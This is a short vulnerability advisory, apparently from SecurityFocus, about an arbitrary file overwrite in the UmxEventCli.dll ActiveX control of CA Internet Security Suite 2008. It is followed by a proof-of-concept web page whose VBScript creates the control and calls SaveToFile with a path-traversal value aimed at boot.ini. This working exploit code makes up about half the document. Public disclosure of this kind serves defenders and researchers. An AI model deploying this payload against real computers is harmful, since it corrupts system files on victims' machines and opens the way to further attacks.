CA Internet Security Suite - 'UmxEventCli.dll' ActiveX Control Arbitrary File Overwrite

source: https://www.securityfocus.com/bid/29406/info

A Computer Associates Internet Security Suite ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.

Successful exploits will compromise affected computers and will aid in further attacks.

Internet Security Suite 2008 is vulnerable; other versions may also be affected.

<!--
CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile())
remote file corruption poc
by Nine:Situations:Group::surfista

this control is safe for scripting
and safe for initialize

original one: http://retrogod.altervista.org/9sg_CA_poc.html
-->
&lt;html&gt;&lt;object classid=&#039;clsid:F13D3742-6C4F-4915-BF91-784BA02DD0BE&#039;
id=&#039;UmxEventCliLib&#039;/&gt;
&lt;/object&gt;&lt;script language=&#039;vbscript&#039;&gt;
filePath=&quot;..\..\..\..\..\..\..\boot.ini&quot;
UmxEventCliLib.SaveToFile filePath
&lt;/script&gt;&lt;/html&gt;